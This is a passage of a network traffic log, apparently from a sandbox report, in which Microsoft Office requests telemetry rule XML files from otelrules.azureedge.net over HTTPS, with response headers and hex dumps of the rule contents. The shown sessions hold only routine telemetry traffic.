2024-11-18 22:04:24 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: f87a9289-e01e-0099-41af-36da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220424Z-16547b76f7fd4rc5hC1DFWkzhw00000006r000000000bkh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:24 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 5ce9ffef-801e-0015-6fd2-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220424Z-1866b5c5fbblmqrkhC1DFWf9ns00000004m0000000006rba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:24 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:24 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c598ff27-a01e-0002-1178-385074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220424Z-16547b76f7ff9zf4hC1DFW2pfc00000003xg00000000t8h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:24 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:24 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:24 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220424Z-r18f44ddb69vchkhhC1DFWc4bs00000000kg00000000527e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:24 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:24 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c5fa2879-c01e-007a-0659-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220424Z-164f84587bfdl84ghC1DFWuvq400000000vg000000007cy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:25 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:25 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:25 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:25 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 3dee0c43-f01e-0085-7caf-3688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220425Z-16547b76f7fw2955hC1DFWsptc00000006sg000000012812 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:25 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:25 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:25 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: ce35fbe0-201e-003c-587e-3730f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220425Z-164f84587bfghdt4hC1DFWu5nn000000063000000000y4c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:25 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:25 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:25 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:25 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 3993528c-f01e-005d-6ce0-3913ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220425Z-r18f44ddb699qlj8hC1DFWad8c00000000f0000000004zxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:25 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:25 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:25 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 4dc4d5ce-c01e-0066-2bf1-39a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220425Z-16547b76f7f7zzl8hC1DFWmtag00000005ag000000007zyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:25 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:26 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:26 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 9c6f40ea-f01e-003f-4609-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220426Z-16547b76f7fpdsp9hC1DFW8f5000000003wg00000000w71g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:26 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:26 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: eeedbaba-c01e-0082-319c-37af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220426Z-16547b76f7fwm7vghC1DFW900s0000000410000000008e4h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:26 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:26 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: cdb997e9-d01e-0014-04b9-39ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220426Z-1866b5c5fbbfhwqqhC1DFWc9sw00000000ug00000000m1wf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
